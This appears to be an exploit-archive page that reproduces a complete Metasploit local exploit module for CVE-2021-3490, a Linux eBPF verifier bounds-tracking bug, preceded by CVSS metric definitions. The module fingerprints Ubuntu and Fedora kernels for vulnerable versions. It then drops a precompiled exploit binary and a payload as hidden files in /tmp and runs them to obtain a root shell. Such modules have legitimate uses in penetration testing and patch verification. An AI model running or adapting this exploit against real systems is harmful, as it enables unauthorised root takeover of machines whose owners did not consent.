The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
High
AC
The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Linux eBPF ALU32 32-bit Invalid Bounds Tracking Local Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux eBPF ALU32 32-bit Invalid Bounds Tracking LPE',
'Description' => %q{
Linux kernels from 5.7-rc1 prior to 5.13-rc4, 5.12.4, 5.11.21, and
5.10.37 are vulnerable to a bug in the eBPF verifier's verification
of ALU32 operations in the scalar32_min_max_and function when performing
AND operations, whereby under certain conditions the bounds of a
32 bit register would not be properly updated.
This can be abused by attackers to conduct an out of bounds read
and write in the Linux kernel and therefore achieve arbitrary
code execution as the root user.
The target system must be compiled with eBPF support and not have
kernel.unprivileged_bpf_disabled set, which prevents unprivileged
users from loading eBPF programs into the kernel. Note that if
kernel.unprivileged_bpf_disabled is enabled this module can still be
utilized to bypass protections such as SELinux, however the user
must already be logged as a privileged user such as root.
},
'License' => MSF_LICENSE,
'Author' => [
'Manfred Paul', # Aka @_manfp, original vulnerability discovery
'chompie1337', # Exploit writeup and PoC
'Grant Willcox' # Aka @tekwizz123, Metasploit Module
],
'DisclosureDate' => '2021-05-11',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'CVE', '2021-3490' ],
[ 'URL', 'https://www.openwall.com/lists/oss-security/2021/05/11/11' ],
[ 'URL', 'https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490' ], # Original PoC
[ 'URL', 'https://www.zerodayinitiative.com/blog/2020/4/8/cve-2020-8835-linux-kernel-privilege-escalation-via-improper-ebpf-program-verification' ], # Discussess the techniques used to gain arbitrary R/W in kernel.
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=049c4e13714ecbca567b4d5f6d563f05d431c80e' ],
[ 'URL', 'https://www.graplsecurity.com/post/kernel-pwning-with-ebpf-a-love-story' ],
[ 'URL', 'https://www.zerodayinitiative.com/advisories/ZDI-21-606/' ],
[ 'URL', 'https://ubuntu.com/security/notices/USN-4950-1' ],
[ 'URL', 'https://ubuntu.com/security/notices/USN-4949-1' ]
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_OS_DOWN ],
'SideEffects' => [ ]
},
'DefaultTarget' => 0
)
)
register_options([
OptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 120])
])
register_advanced_options([
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
])
end
def base_dir
datastore['WritableDir'].to_s
end
def check
arch = kernel_hardware
# Could we potentially support x86? Yes, potentially. Will we? Well considering the 5.7 kernel was released
# in 2020 and official support for x64 kernels ended in 2012 with
# https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=743aa456c1834f76982af44e8b71d1a0b2a82e2
# combined with the fact that those distros that do have older x86 versions mostly have 4.x or older kernels,
# and 90% of them have dropped support for x86 kernels a while back, we'll just assume that if its x86, its probably not
# running an affected Linux kernel.
unless arch.include?('x86_64')
return CheckCode::Safe("System architecture #{arch} is not supported")
end
if unprivileged_bpf_disabled?
return CheckCode::Safe('Unprivileged BPF loading is not permitted')
end
vprint_good('Unprivileged BPF loading is permitted')
release = kernel_release
version = kernel_version
# If the target is Ubuntu...
if version =~ /[uU]buntu/
version_array = release.split('-')
if version_array.length < 2
fail_with(Failure::UnexpectedReply, 'The target Ubuntu server does not have the expected kernel version format!')
end
major_version = version_array[0]
minor_version = version_array[1]
# First check if we are past the 5.11.x kernel releases and into at the time of
# writing beta versions of Ubuntu. If so,the target isn't vuln.
if Rex::Version.new(major_version) >= Rex::Version.new('5.12.0')
return CheckCode::Safe("Target Ubuntu kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
elsif (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('17.18'))
return CheckCode::Safe('Target Ubuntu kernel version is running a 5.11.x build however it has updated to a patched version!')
elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && (Rex::Version.new(minor_version) >= Rex::Version.new('53.60'))
return CheckCode::Safe('Target Ubuntu kernel version is running a 5.8.x build however it has updated to a patched version!')
elsif (Rex::Version.new(major_version) != Rex::Version.new('5.8.0')) && (Rex::Version.new(major_version) != Rex::Version.new('5.11.0')) # Only Ubuntu 20.04.02, Groovy, and Hirsuite are affected, other releases used a kernel either too old or which was patched.
return CheckCode::Unknown('Unknown target kernel version, recommend manually checking if target kernel is vulnerable.')
end
elsif release =~ /\.fc3[2,3,4]\./
version_array = release.split('-')
if version_array.length < 2
fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected kernel version format!')
end
major_version = version_array[0]
if version_array[1].split('.').length != 3
fail_with(Failure::UnexpectedReply, 'The target Fedora server does not have the expected minor kernel version format!')
end
minor_version = version_array[1].split('.')[0]
if Rex::Version.new(major_version) >= Rex::Version.new('5.11.20')
return CheckCode::Safe("Target Fedora kernel version is #{major_version}-#{minor_version} which is not vulnerable!")
elsif Rex::Version.new(major_version) == Rex::Version.new('5.11.20') && Rex::Version.new(minor_version) >= Rex::Version.new('300')
return CheckCode::Safe('Target Fedora system is running a 5.11.20 kernel however it has been patched!')
elsif Rex::Version.new(major_version) <= Rex::Version.new('5.7')
return CheckCode::Safe('Running a Fedora system with a kernel before kernel version 5.7 where the vulnerability was introduced')
end
else
return CheckCode::Unknown("Target is not a known target, so we can't check if the target is vulnerable or not!")
end
vprint_good("Kernel version #{release} appears to be vulnerable")
config = kernel_config
if config.nil?
return CheckCode::Detected('Could not retrieve kernel config')
end
unless config.include?('CONFIG_BPF_SYSCALL=y')
return CheckCode::Safe('Kernel config does not include CONFIG_BPF_SYSCALL')
end
vprint_good('Kernel config has CONFIG_BPF_SYSCALL enabled')
CheckCode::Appears
end
def exploit
if is_root? && !datastore['ForceExploit']
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
end
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
executable_name = ".#{rand_text_alphanumeric(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
vprint_status('Dropping pre-compiled exploit on system...')
release = kernel_release
if release.split('-').length < 2
fail_with(Failure::UnexpectedReply, 'The target server does not have the expected kernel version format!')
end
major_version = release.split('-')[0]
if (Rex::Version.new(major_version) == Rex::Version.new('5.11.0')) && kernel_version =~ /[uU]buntu/
upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'hirsute.bin'))
elsif (Rex::Version.new(major_version) == Rex::Version.new('5.8.0')) && kernel_version =~ /[uU]buntu/
upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'groovy.bin'))
elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.7/
upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-7.bin'))
elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.8/
upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-8.bin'))
elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.9/
upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-9.bin'))
elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.10/
upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-10.bin'))
elsif release =~ /\.fc3[2,3,4]\./ && major_version =~ /5\.11/
upload_and_chmodx(executable_path, exploit_data('cve-2021-3490', 'fedora-5-11.bin'))
else
fail_with(Failure::NoTarget, 'The target OS cannot be targeted by this exploit. Considering submitting a PR to add support for this target!')
end
register_file_for_cleanup(executable_path)
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)
# Launch exploit
print_status('Launching exploit...')
print_warning('Note that things may appear to hang due to the exploit not exiting.')
print_warning("Feel free to press CTRL+C if the shell is returned before #{datastore['CmdTimeout']} seconds are up.")
response = cmd_exec(executable_path.to_s, payload_path.to_s, datastore['CmdTimeout'])
if response =~ /fail/
fail_with(Failure::NoTarget, 'The exploit failed! Check to see if you are running this against the right target and kernel version!')
vprint_error("The response was: #{response}")
elsif response =~ /success!/
print_good('Exploit completed successfully, shell should be returning soon!')
else
print_status('No indication of exploit success or failure, try increasing CmdTimeout value!')
end
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum